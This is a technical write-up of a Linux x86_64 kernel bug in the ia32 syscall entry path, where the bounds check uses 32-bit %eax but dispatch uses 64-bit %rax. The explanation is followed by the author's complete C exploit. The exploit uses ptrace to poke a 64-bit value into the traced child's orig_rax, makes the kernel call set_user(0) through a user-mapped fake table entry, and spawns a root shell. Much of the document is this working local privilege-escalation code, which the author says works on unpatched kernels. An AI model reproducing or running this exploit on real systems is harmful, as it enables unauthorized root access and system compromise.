There are three entry points in the file, one for 32-bit SYSCALL instructions, one for 32-bit SYSENTER, and one for int $0x80. They are all very similar, and we will only consider the int $0x80 case here. At boot-time, Linux configures the processor so that int $0x80 will dispatch to the ia32_syscall entry point. Ignoring a bunch of debugging information, tracing, and other junk, this entry point’s code is essentially simple:

ENTRY(ia32_syscall)
        movl %eax,%eax

        pushq %rax
        SAVE_ARGS 0,0,1

        GET_THREAD_INFO(%r10)
        orl   $TS_COMPAT,TI_status(%r10)
        testl $_TIF_WORK_SYSCALL_ENTRY,TI_flags(%r10)
        jnz ia32_tracesys

        cmpl $(IA32_NR_syscalls-1),%eax
        ja ia32_badsys

ia32_do_call:
        IA32_ARG_FIXUP
        call *ia32_sys_call_table(,%rax,8)

        movq %rax,RAX-ARGOFFSET(%rsp)
        jmp int_ret_from_sys_call

%eax, according to Linux’s syscall convention, stores the syscall number. The mov zero-extends it into %rax, and then we save it and the syscall arguments onto the stack.

The next block retrieves the struct thread_info for the current task, sets the TS_COMPAT status bit to indicate that we’re handling a 32-bit compatibility mode syscall, and then checks the thread’s flags to determine whether this thread has been flagged for extra processing on syscall entry. If so, we jump away to code to handle that work.

Next (at the cmpl), we check to make sure that the requested syscall is in-bounds, and branch to an error path if not.

IA32_ARG_FIXUP is a simple macro that moves registers around to translate between the Linux syscall calling convention and the x86_64 calling convention, which each hold arguments in different registers. Once we’ve fixed up the registers, the call instruction indexes the system call table by the system call number, looks up the address stored there, and calls into it to dispatch the syscall.

Finally, we save the return code from the system call into the register area on the stack, and jump to code to handle the return to userspace.

One thing we should notice about this code is that when we check that the syscall is in bounds, we compare against the 32-bit %eax register, but when we actually dispatch the syscall, we use the full 64 bits in %rax. The movl at the top of the function serves to zero-extend %eax, so that normally, the top 32 bits of %rax are zero, and this distinction doesn’t matter.

The problem arises in the “traced” path in ia32_tracesys, which is (again, with some extra code removed):

ia32_tracesys:
        movq %rsp,%rdi        /* &pt_regs -> arg1 */
        call syscall_trace_enter
        LOAD_ARGS ARGOFFSET  /* reload args from stack in case ptrace changed it */
        jmp ia32_do_call

Essentially, ia32_tracesys just calls into the C function syscall_trace_enter, with a pointer to the registers saved on the stack, and then restores the register values from the stack and jumps back to execute the system call.

Herein lies the problem. If syscall_trace_enter replaces the on-stack %rax with a 64-bit value, and LOAD_ARGS restores it, then the %eax/%rax distinction above becomes a problem. Aas long as %eax is less than (IA32_NR_syscalls-1), %rax can be much larger than the size of the syscall table, causing the call to index off the end of it.

ptrace(2)

So what happens inside syscall_trace_enter, and how can we take advantage of that to load a 64-bit value into the restored %rax? Well, that turns out to be the code that handles processes traced by the ptrace(2) process-tracing mechanism, which among other things, allows the tracer to stop a child process before each system call, and inspect and modify the child’s registers for the system call procedes.

Reading ptrace(2), we find that we can use ptrace(PTRACE_SYSCALL,…) to cause a process to execute until its next system call, and then, once it’s stopped, we can use ptrace(PTRACE_POKEUSER,…) to modify the tracee’s registers.

Putting it all together

So, to exploit this bug, we need to:

• Have a 64-bit process attach to some process with ptrace.
• Use PTRACE_SYSCALL to stop that process at its next syscall
• Have the process execute an int $0x80
• Have the parent modify %rax in the child to be 64 bits wide, and allow the child to continue.

At this point, the child will index waaay off the end of the syscall table — so far off, in fact, that it will wrap around past the end of memory (On x86_64, the entire kernel is mapped into the last 2 GB of address space). Since the kernel and user programs run in the same address space, this means that, with an appropriate choice of %rax, the kernel will dereference an address in the user address space to find out the address of the function it should jump to in order to handle the system call.

My entire exploit code follows. This is not fully weaponized at all – it depends on tweaking for the specific target kernel, for one, but it works. (Well, if you can find an unpatched kernel anywhere any more these days, it works). Nowadays, if I were writing an exploit like this, I’d plug it into something like Brad Spengler’s Enlightenment, which takes care of most of the annoying bits of executing shell-code in-kernel to change the current user, disable any security modules that might be problematic, and work across kernel versions, as necessary.

#include <sys/ptrace.h>
#include <sys/user.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
#include <stddef.h>

/**
 * Replace these with the values of `ia32_sys_call_table' and
 * `set_user' from /proc/kallsyms or /boot/System.map-$(uname -r)
 */
#define syscall_table 0xffffffff8044b8a0
#define set_user      0xffffffff8028d785

/*
 We don't _need_ these -- with only a little bit of cleverness, we can
 get around not knowing them, but having them will make the code
 simpler.

 set_user is defined in kernel/sys.c, and can be used to change the
 UID of the current process. We'll trick the kernel into call it on
 our behalf, and thus avoid having to write any code to run in
 kernel-mode ourselves.
*/

#define offset        (1L << 32)
#define landing       (syscall_table + 8*offset)
/*
  'offset' is the 64-bit value we will load into %rax using ptrace().

  This will cause the "call" instruction we saw above to look up the
  value stored at that index off the syscall table, which is the
  address we compute in "landing".
 */


int main() {
        if((signed long)mmap((void*)(landing&~0xFFF), 4096,
                              PROT_READ|PROT_EXEC|PROT_WRITE,
                              MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS,
                                0, 0) < 0) {
                perror("mmap");
                exit(-1);
        }
        *(long*)landing = set_user;
        /*
          We use mmap(2) to map a page at "landing", and write a
          pointer to the set_user function there.
         */

        pid_t child;
        child = fork();
        /*
          We fork two processes. The parent will ptrace the child, and
          the child will execute the `int 0x80` syscall.
         */
        if(child == 0) {
                ptrace(PTRACE_TRACEME, 0, NULL, NULL);
                kill(getpid(), SIGSTOP);
                /*
                  We ask for someone to trace us, and then signal
                  ourselves, which causes us to wait for our parent to
                  attach via `ptrace`.
                 */
                __asm__("movl $0, %ebx\n\t"
                        "int $0x80\n");
                /*
                  We then make an (arbitrary) syscall via int 0x80,
                  with %ebx set to 0. Linux's system call convention
                  stores the first argument in %ebx, so if all goes
                  right, when our parent mucks with %rax, this will
                  result in the kernel calling set_user(0), setting
                  our current UID to 0.
                */

                execl("/bin/sh", "/bin/sh", NULL);
                /* Once we have root, we exec a shell. */
        } else {
                wait(NULL);
                ptrace(PTRACE_SYSCALL, child, NULL, NULL);
                wait(NULL);
                ptrace(PTRACE_POKEUSER, child, offsetof(struct user, regs.orig_rax),
                        (void*)offset);
                ptrace(PTRACE_DETACH, child, NULL, NULL);
                wait(NULL);
                /*
                  In the parent we need to do is `wait` for the child
                  to stop, allow it to advance until the next syscall,
                  use `PTRACE_POKEUSER` to poke `offset` into `%rax`,
                  and then detach and let it run.
                 */
        }
}